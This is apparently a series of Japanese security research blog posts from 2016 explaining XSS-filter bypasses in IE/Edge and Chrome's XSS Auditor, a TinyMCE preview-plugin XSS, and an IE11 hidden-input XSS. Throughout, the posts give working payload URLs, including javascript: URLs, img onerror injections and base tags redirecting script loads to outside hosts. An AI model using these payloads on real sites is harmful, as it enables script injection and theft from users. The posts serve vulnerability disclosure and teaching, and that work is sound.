&lt;title&gt;javadoc&lt;/title&gt;<br /> &lt;script type="text/javascript"&gt;<br /> &nbsp; &nbsp; targetPage = "" + window.location.search;<br /> &nbsp; &nbsp; if (targetPage != "" &amp;&amp; targetPage != "undefined")<br /> targetPage = targetPage.substring(1);<br /> if (<span style="background-color: yellow;">targetPage.indexOf</span>(":") !=&nbsp;-1 || (targetPage != "" &amp;&amp; !validURL(targetPage)))<br /> &nbsp; &nbsp; &nbsp; &nbsp; targetPage = "undefined";<br /> &nbsp; &nbsp; function validURL(url) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; try {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url = decodeURIComponent(url);<br /> &nbsp; &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; &nbsp; &nbsp; catch (error) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; &nbsp; &nbsp; var pos = url.indexOf(".html");<br /> &nbsp; &nbsp; &nbsp; &nbsp; if (pos == -1 || pos != url.length - 5)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; var allowNumber = false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; var allowSep = false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; var seenDot = false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; for (var i = 0; i &lt; url.length - 5; i++) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var ch = url.charAt(i);<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ('a' &lt;= ch &amp;&amp; ch &lt;= 'z' ||<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'A' &lt;= ch &amp;&amp; ch &lt;= 'Z' ||<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch == '$' ||<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch == '_' ||<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch.charCodeAt(0) &gt; 127) {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allowNumber = true;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allowSep = true;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if ('0' &lt;= ch &amp;&amp; ch &lt;= '9'<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; || ch == '-') {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!allowNumber)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (ch == '/' || ch == '.') {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!allowSep)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allowNumber = false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allowSep = false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (ch == '.')<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;seenDot = true;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (ch == '/' &amp;&amp; seenDot)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; &nbsp; &nbsp; return true;<br /> &nbsp; &nbsp; }<br /> &nbsp; &nbsp; function loadFrames() {<br /> &nbsp; &nbsp; &nbsp; &nbsp; if (targetPage != "" &amp;&amp; targetPage != "undefined")<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;top.classFrame.location = top.targetPage;<br /> &nbsp; &nbsp; }<br /> &lt;/script&gt;<br /> &lt;/head&gt;<br /> &lt;frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()"&gt;<br /> &lt;frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()"&gt;<br /> &lt;frame src="/" name="packageListFrame" title="All Packages"&gt;<br /> &lt;frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)"&gt;<br /> &lt;/frameset&gt;<br /> &lt;frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes"&gt;<br /> &lt;noframes&gt;<br /> &lt;noscript&gt;<br /> &lt;div&gt;JavaScript is disabled on your browser.&lt;/div&gt;<br /> &lt;/noscript&gt;<br /> &lt;h2&gt;Frame Alert&lt;/h2&gt;<br /> &lt;p&gt;This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to &lt;a href="overview-summary.html"&gt;Non-frame version&lt;/a&gt;.&lt;/p&gt;<br /> &lt;/noframes&gt;<br /> &lt;/frameset&gt;<br /> &lt;/html&gt;</blockquote> スクリプトタグで長々とやっていることは、<code>location.search</code>(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。<br /> 例えば、XSSが可能な以下のようなURLはロードが禁止されます。<br /> <br /> <a href="http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)">http://vulnerabledoma.in/xxn/xss_javadoc.html?<b>javascript:alert(1)</b></a><br /> <br /> しかしながら、黄色の部分の<code>.</code>が<code>^</code>に置き換わるとどうなるでしょう?<br /> <br /> 実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、<code>.</code>を置換することができます。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx9zdiAGipCtYrT3DeN9bSiwgSzxF0weGMBX4ZO5zKU4q5PZX5AeJzZmez4XNanR_tnLGWJzQ1ZhB0m3TUNxSu0wp-ey9k9DfQEJwTnA2uyil6eE1arf9h4I5FSkfHJ-4l6RF-GBXpOyE/s1600/xxn_javadoc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx9zdiAGipCtYrT3DeN9bSiwgSzxF0weGMBX4ZO5zKU4q5PZX5AeJzZmez4XNanR_tnLGWJzQ1ZhB0m3TUNxSu0wp-ey9k9DfQEJwTnA2uyil6eE1arf9h4I5FSkfHJ-4l6RF-GBXpOyE/s400/xxn_javadoc.png" width="400" /></a></div> <br /> 2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。<br /> <br /> <a href="http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//%22++++++++++++.i+++=">http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=</a><br /> <br /> <code>targetPage.indexOf()</code>の部分の<code>.</code>が<code>^</code>に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えた<code>javascript:</code>のURLが実行されたはずです。<br /> <br /> 既にパッチを適用して再現できない人のために、該当部分を<code>^</code>に置換済みのページを用意しました。同様の動作を確認できます。<br /> <div> <br /> <a href="http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)">http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)</a><br /> <div> <br /></div> <code>#</code>への置換との決定的な違いは、<code>#</code>はスクリプト内で演算子ではないため、タグ内の<code>.</code>が<code>#</code>に置換されても構文が壊れるだけだったのに対し、<code>^</code>はビットごとのXOR演算子であり、例えば、<code>a.b;</code>が<code>a^b;</code>になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、<code>targetPage</code>変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXhnzSmweFDjSeS65kjd658NKVrvCwqB3E4P1oACeyPL-DfsigPJ7_PB5SjSVbwnDYoZM7wULh0RI9etHPdhQwugh5VjVFsb-F8QLKwLPZfvsBxl9Qt5IltcEATZe4jgfriX-nWsVHB9k/s1600/xxn_cloud.google.com.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="355" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXhnzSmweFDjSeS65kjd658NKVrvCwqB3E4P1oACeyPL-DfsigPJ7_PB5SjSVbwnDYoZM7wULh0RI9etHPdhQwugh5VjVFsb-F8QLKwLPZfvsBxl9Qt5IltcEATZe4jgfriX-nWsVHB9k/s640/xxn_cloud.google.com.png" width="640" /></a></div> <br /> <br /> もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLを<code>X-XSS-Protection</code>の指定なしに設置しているサイトすべてでXSSが可能でした。<br /> <br /> 2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、<code>.</code>への反応時には<code>1; mode=block</code>の動作が強制されるようになりました。これでひとまずは<code>.</code>を置換することによるXSSは起きなくなりました。<br /> <br /> <code>^</code>に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。<br /> <br /> また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。</div> </div> Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-70944092875215415562016-05-18T19:17:00.000+09:002016-05-18T20:10:55.721+09:00ブラウザのXSS保護機能をバイパスする(8)English version:&nbsp;<a href="http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html">http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html</a><br /> -------------------------------------<br /> <br /> このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。<br /> 今回はIEではなく、ChromeのXSS Auditorをバイパスします。<br /> <br /> 数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。<br /> <br /> Marioさんが新たにみつけたのはこちらです。<br /> <blockquote class="twitter-tweet" data-lang="ja"> <div dir="ltr" lang="en"> XSS Auditor Bypasses 05.2016<a href="https://t.co/c9UcjpDZZM">https://t.co/c9UcjpDZZM</a> <br /> <br /> (someone asked for PoC and test-case, here you are)</div> — .mario (@0x6D6172696F) <a href="https://twitter.com/0x6D6172696F/status/732485238329237505">2016年5月17日</a></blockquote> <script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script> <br /> 僕がみつけたのは、Flashと<code>base</code>タグを用いる方法です。<br /> <br /> このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)<br /> <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612672">https://bugs.chromium.org/p/chromium/issues/detail?id=612672</a><br /> <div> <br /> 早速、方法から紹介しましょう。<br /> <code>&lt;div&gt;</code>タグに囲まれた箇所にReflected XSSがあるとします。このとき、以下のような文字列でバイパスできます。<br /> <br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cembed+allowscriptaccess=always+src=/xss.swf%3E%3Cbase+href=//l0.cm/">https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=&lt;embed+allowscriptaccess=always+src=/xss.swf&gt;&lt;base+href=//l0.cm/</a><br /> <blockquote class="tr_bq"> &lt;div&gt;<span style="background-color: #ffd966;">&lt;embed allowscriptaccess=always src=/xss.swf&gt;&lt;base href=//l0.cm/</span>&lt;/div&gt;</blockquote> いやあ、シンプルで美しいですね…!<br /> <br /> なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。<br /> 以下のような、外部のリソースを取りに行く文字列はブロックされます。<br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cembed+src=https://evil/%3E">https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=&lt;embed+src=https://evil/&gt;</a><br /> <blockquote class="tr_bq"> &lt;embed src=https://evil/&gt;</blockquote> しかし、以下のような相対パスはブロックされません。<br /> <br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cembed+src=/aaa%3E">https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=&lt;embed+src=/aaa&gt;</a><br /> <blockquote class="tr_bq"> &lt;embed src=/aaa&gt;</blockquote> ということは、ベースのURLさえ変更することができれば、XSSができそうです。<code>base</code>タグももちろんブロックされますが、<code>&gt;</code>でタグを閉じなければ、ブロックを回避できる場合があるようです。<br /> <br /> 以下はブロックされます。<br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=3&amp;q=%3Cbase+href=//evil/">https://vulnerabledoma.in/xss_auditortest?test=3&amp;q=&lt;base+href=//evil/</a><br /> <blockquote class="tr_bq"> &lt;div&gt;&lt;base href=//evil/ &lt;/div&gt;</blockquote> しかし、以下はブロックされません。<br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cbase+href=//evil/">https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=&lt;base+href=//evil/</a><br /> <blockquote class="tr_bq"> &lt;div&gt;&lt;base href=//evil/&lt;/div&gt;</blockquote> どこが違うかわかるでしょうか?前者は、注入ポイントの後ろにスペースが入っています。どうやら、スペースや改行などの空白文字が注入ポイントの直後に入っている場合にはAuditorは閉じタグがなくても反応するようです。言い換えれば、直後に空白がなければbaseタグは設定できます。<br /> これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、<code>allowscriptaccess=always</code>の指定により、 vulnerabledoma.in のコンテキストでスクリプトが実行されます。<br /> <br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cembed+allowscriptaccess=always+src=/xss.swf%3E%3Cbase+href=//l0.cm/">https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=&lt;embed+allowscriptaccess=always+src=/xss.swf&gt;&lt;base+href=//l0.cm/</a><br /> <blockquote class="tr_bq"> &lt;div&gt;<span style="background-color: #ffd966;">&lt;embed allowscriptaccess=always src=/xss.swf&gt;&lt;base href=//l0.cm/</span>&lt;/div&gt;</blockquote> 注入ポイントの直後に空白がある場合だと無理かというと、そうでもありません。その後ろのどこかに<code>"'</code>などの引用符があれば<code>&lt;base href="//evil/</code>のように閉じない引用符をつけることで、反応を回避できます。<br /> <br /> 以下の状況ではAuditorは反応しません。<br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=4&amp;q=%3Cembed+allowscriptaccess=always+src=/xss.swf%3E%3Cbase+href=%22//l0.cm/">https://vulnerabledoma.in/xss_auditortest?test=4&amp;q=&lt;embed+allowscriptaccess=always+src=/xss.swf&gt;&lt;base+href="//l0.cm/</a><br /> <blockquote class="tr_bq"> &lt;div&gt;<br /> <span style="background-color: #ffd966;">&lt;embed allowscriptaccess=always src=/xss.swf&gt;&lt;base href="//l0.cm/</span><br /> &lt;/div&gt;&lt;div id="x"&gt;AAA&lt;/div&gt;</blockquote> <div> 大抵、<code>"'</code>はあるはずなので、一般的なReflected XSSの状況でかなり便利に使えるバイパス方法ではないかと思います。<br /> <br /> ちなみになぜ、<code>script</code>タグではなくFlashを使っているかというと、<code>script</code>タグも<code>embed</code>タグと同じように、<code>&lt;script src=/xss.js&gt;&lt;/script&gt;&lt;base href=//evil/&nbsp;</code>などがブロックされずに通るのですが、<code>script</code>タグの場合はベースのURLを変更するよりも先に<code>script</code>タグのロードが始まってしまうんですよね。<br /> <br /> 以下でこの動作を確認できます。<br /> <a href="https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/">https://vulnerabledoma.in/xss_auditortest?test=1&amp;q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/</a><br /> <br /> Flashの場合は、<code>base</code>タグがあとからでてきても、それを基準にロードを開始してくれます。したがって、Flashを使ったというわけです。<br /> <br /> 以上です。普段のXSSにお使いください!</div> </div> Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-90616189975907092182016-04-16T23:56:00.000+09:002016-04-17T02:12:05.761+09:00TinyMCE 4.3.9で修正されたXSS2月頃、リッチテキストエディタの&nbsp;<a href="https://www.tinymce.com/">TinyMCE</a>&nbsp;のXSS脆弱性を報告しました。<br /> 特にセキュリティの修正をしたといったアナウンスはありませんが、数日前に公開された4.3.9でこの問題が修正されています。<a href="https://twitter.com/tinymce">Twitterのプロフィール</a>にも、「World's #1 most popular open source #WYSIWYG editor」 とあるくらい、世界的にも非常によく使われているリッチテキストエディタのようですので、更新を促すためにこの記事を書きます。<br /> <br /> XSS脆弱性は 4.3.8 以下のバージョンにあります。<br /> 僕の知る限りでは、TinyMCEの<a href="http://www.tinymce.com/docs/plugins/preview/">Preview Plugin</a>機能を使っていなければ影響を受けません。<br /> この機能を呼び出さないようにするか、4.3.9以上に更新してください。<br /> <br /> これ以下は、技術的な説明になります。この脆弱性の発生原因は、技術的にも少し面白いです。<br /> <br /> 発火する場所は、エスケープしていない文字列を<code>document.write()</code>しているだけなんですが、入り込む原因が特殊です。<br /> <br /> ここで脆弱なHTMLを組立てて、<br /> <a href="https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L31">https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L31</a><br /> <blockquote class="tr_bq"> headHtml += '&lt;base href="' + editor.documentBaseURI.getURI() + '"&gt;';</blockquote> ここで<code>write()</code>して発火しています。<br /> <a href="https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L82">https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L82</a><br /> <blockquote class="tr_bq"> doc.write(previewHtml);</blockquote> 書き出されるURLは以下の<code>documentBaseURL</code>変数から設定されます。<br /> <a href="https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/classes/EditorManager.js#L164-174">https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/classes/EditorManager.js#L164-174</a><br /> <blockquote class="tr_bq"> documentBaseURL = document.location.href;<br /> // Check if the URL is a document based format like: http://site/dir/file and file:///<br /> // leave other formats like applewebdata://... intact<br /> if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (!/[\/\\]$/.test(documentBaseURL)) {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>documentBaseURL += '/';<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>}<br /> }</blockquote> <code>location.href</code>からURL文字列を受け取り、<code>replace()</code>の部分の正規表現で必要な文字列だけを切り取っています。その結果、返ってくることを期待している文字列は、少なくともパス部までの文字列です。例えば「https://example.com/AAA/BBB/CCC?DDD#EEE」というURL文字列からは、「https://example.com/AAA/BBB/」が返ってきます。以下でテストできます。<br /> <br /> <a href="https://jsfiddle.net/nsuqthb5/">https://jsfiddle.net/nsuqthb5/</a><br /> <blockquote class="tr_bq"> &lt;script&gt;<br /> baseUrl="https://example.com/AAA/BBB/CCC?DDD#EEE";<br /> if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (!/[\/\\]$/.test(baseUrl)) {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>baseUrl += '/';<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>}<br /> }<br /> alert(baseUrl);<br /> &lt;/script&gt;</blockquote> この、期待した文字列ですら、 <code>document.write('&lt;base href="'+&nbsp;baseUrl&nbsp;+'"&gt;')</code>とかって書き出そうとすることは危ういのですが、モダンなブラウザでは、<code>location.href</code>プロパティで取得されるパス部の<code>"</code>は<code>%22</code>にエンコードされるので、控えめに言えばギリギリセーフです。(Safari 5.xとかだとアウトです。)<br /> 古いブラウザで脆弱になることは受け入れるとしても、この正規表現の切り取り方では、モダンなブラウザでも期待しない文字列を呼び込んでしまいます。次のようなURLが与えられた場合です。<br /> <br /> <a href="https://jsfiddle.net/c2L6guLf/">https://jsfiddle.net/c2L6guLf/</a><br /> <blockquote class="tr_bq"> &lt;script&gt;<br /> baseUrl="https://example.com/xxx#<span style="background-color: yellow;">\u2028</span>\"&gt;&lt;[XSS_CODE_HERE]&gt;/";<br /> if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>if (!/[\/\\]$/.test(baseUrl)) {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>baseUrl += '/';<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>}<br /> }<br /> alert(baseUrl);<br /> &lt;/script&gt;</blockquote> 今度は、<code>#</code>以降の、XSS_CODE_HEREまで含んだURLがアラートされるはずです。<br /> ポイントは黄色でマークした <code>\u2028</code>の部分です。U+2028/U+2029は JS中で改行と同じ扱いになるという話を以前<a href="http://masatokinugawa.l0.cm/2013/09/u2028u2029.domxss.html">ブログで取り上げました</a>が、この扱いが今回の正規表現と絡んできます。<code>replace(/[\?#].*$/, '')</code>は、URL文字列の最後まで、改行が含まれないことを前提として、<code>?</code>か<code>#</code>以降の文字列を全て取り除こうとします。ところが、U+2028が<code>?</code>か<code>#</code>以降に入ってくると、U+2028が<code>.</code>にマッチしないため、この正規表現による削除が行われなくなってしまうのです。その場合、返ってくる文字列は何も置換が行われていない<code>location.href</code>そのものになってしまいます。<br /> <br /> 実際にXSSを再現させてみます。<br /> <code>base</code>タグは、エディタの内容をPreviewする機能を実行した時に作成されます。<br /> 以下にIE/Edgeでアクセスし、View →Preview とボタンを押してみてください。<br /> <br /> <a href="http://vulnerabledoma.in/tinymce/xss_preview_4.3.8.html#&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;
/">http://vulnerabledoma.in/tinymce/xss_preview_4.3.8.html#"&gt;&lt;img src=x onerror=alert(document.domain)&gt;
/</a><br /> <br /> うまくいけば以下のようにみえるはずです。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3M5XuJVIVhwjp-0SGydE-Gws246jCiriUviXYPkfTYgTGRO5fhzUJbx07ZcBeMEr8epA1wbW4N7Hhjj3MtC0ewEbHUiVqZZqLlDz9iEblxEZIZOmP3ACERSSGbPyx24REmX4fNenWZ-Y/s1600/tinymce_xss_ss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3M5XuJVIVhwjp-0SGydE-Gws246jCiriUviXYPkfTYgTGRO5fhzUJbx07ZcBeMEr8epA1wbW4N7Hhjj3MtC0ewEbHUiVqZZqLlDz9iEblxEZIZOmP3ACERSSGbPyx24REmX4fNenWZ-Y/s640/tinymce_xss_ss.png" width="640" /></a></div> <br /> <br /> なぜ、IE/Edge限定なのかというと、FirefoxやSafariはURL中のU+2028文字をエンコードしてしまうため、正規表現を騙すことができないからです。また、Chromeは<code>base</code>タグから抜けて、スクリプトの実行も可能なのですが、IE/Edge以外は<code>allow-scripts</code>によりスクリプトの実行だけが許可された<code>sandbox</code>属性付きのiframeの中でプレビューを表示するようになっているため、少なくともTinyMCEを設置したオリジンでのスクリプト実行には繋がらないようになっています。以下の箇所でIE/Edgeとそれ以外で表示方法を変えているのがわかります。<br /> <br /> <a href="https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L76-86">https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L76-86</a><br /> <br /> よって、Chromeの場合では、厳密には影響がないとは言えないものの、実行されるコンテキストがサンドボックス内のため、プレビューの偽装かプレビューした情報の奪取程度の限定的なものになります。<br /> <br /> 修正は以下の部分で行われました。<br /> <a href="https://github.com/tinymce/tinymce/commit/1483e4fd47ab58b5fc1015f82253c90caaeedc44">https://github.com/tinymce/tinymce/commit/1483e4fd47ab58b5fc1015f82253c90caaeedc44</a><br /> <blockquote class="tr_bq"> if (loc.protocol.indexOf('http') !== 0 &amp;&amp; loc.protocol !== 'file:') {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>baseUrl = loc.href;<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>} else {<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>baseUrl = loc.protocol + '//' + loc.host + loc.pathname;<br /> }</blockquote> <br /> <code>location.protocol</code>に<code>http</code>という文字列を含まない、かつ、<code>file:</code>でない場合のみ、<code>location.href</code>をそのまま使い、それ以外は、<code>location.protocol</code> と<code>location.host</code>と<code>location.pathname</code>を連結したものを使うようになりました。心許ないかんじがしますが、少なくとも僕にはこれを破ってXSSすることができなかったので、とりあえず、問題なさそうと伝えました。(もっとも、Safari 5.x などではエンコードされていない<code>"</code>を<code>location.pathname</code>に含むことができるので、相変わらず脆弱です。)<br /> <br /> 以上、U+2028/2029で起きる問題でした。U+2028/2029が絡んだ問題はまれにみますが、わかりにくいので、まだまだ潜んでいそうです。<br /> <br /> 最後に言いたいのですが、特に、利用者が更新する必要のあるアプリケーションを提供する人は、脆弱性があったということを絶対に告知すべきです。そうしないと、利用者が更新の必要性に気付けず、脆弱なバージョンを使い続けることになってしまいます。セキュリティの修正がある場合は、提供者側で可能な限り大きな声で更新を促すようにしてほしいと思います。Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-25658722772790254282016-04-14T18:44:00.001+09:002016-04-14T18:49:37.383+09:00hiddenなinput要素でユーザー操作を使わずにXSS徳丸さんがブログで紹介されたことで、<code>&lt;input type=hidden&gt;</code>でのXSSが話題になっていますね!<br /> <br /> hiddenなinput要素のXSSでJavaScript実行 | 徳丸浩の日記<br /> <a href="http://blog.tokumaru.org/2016/04/hiddeninputxssjavascript.html">http://blog.tokumaru.org/2016/04/hiddeninputxssjavascript.html</a><br /> <br /> 僕もちょうど、個人での検証の過程で発見した、hiddenでのXSS手法について、そろそろ共有しようと思っていたところでした。皆の関心が高いうちに、もう1つの方法を共有したいと思います!<br /> <br /> 徳丸さんのコードに倣って紹介します。今回は問題を簡単にするために<code>X-XSS-Protection:0</code>をつけさせてもらいます。<br /> <blockquote class="tr_bq"> &lt;?php<br /> header('X-XSS-Protection:0');<br /> header('Content-Type:text/html;charset=utf-8');<br /> ?&gt;<br /> &lt;body&gt;<br /> 入力確認をお願いします。<br /> &lt;?php echo htmlspecialchars($_GET['t']); ?&gt;&lt;br&gt;<br /> &lt;form action='submit.php'&gt;<br /> &lt;input type='hidden' name='t' value='&lt;?php<br /> &nbsp; echo htmlspecialchars($_GET['t']); ?&gt;'&gt;<br /> &lt;input type='submit'&gt;<br /> &lt;/body&gt;</blockquote> この条件でIE11でユーザー操作を伴わないXSSをします!こうです!<br /> <br /> http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)<br /> <blockquote class="tr_bq"> &lt;body&gt;<br /> 入力確認をお願いします。<br /> 'style='behavior:url(?)'onreadystatechange='alert(1)&lt;br&gt;<br /> &lt;form action='submit.php'&gt;<br /> &lt;input type='hidden' name='t' value='<b><span style="color: red;">'style='behavior:url(?)'onreadystatechange='alert(1)</span></b>'&gt;<br /> &lt;input type='submit'&gt;<br /> &lt;/body&gt;</blockquote> <code>style</code>属性に<code>behavior</code>をつけ、<code>behavior</code>のURLの値に、任意の同一オリジン内のURLを指定すると、たとえhiddenの中でも、<code>onreadystatechange</code>イベントが発火するようになります。<br /> ただし、<code>behavior</code>はIE10モード以下でないとサポートされていないので、ここにアクセスするだけでは動作しません。そこで、以前Shibuya.XSSの以下のスライドで紹介した、ドキュメントモードの継承というテクニックを使う必要があります。<br /> <br /> <script async="" class="speakerdeck-embed" data-id="d6d5cd3379a2458d90f8ac5b98c7d202" data-ratio="1.33333333333333" data-slide="37" 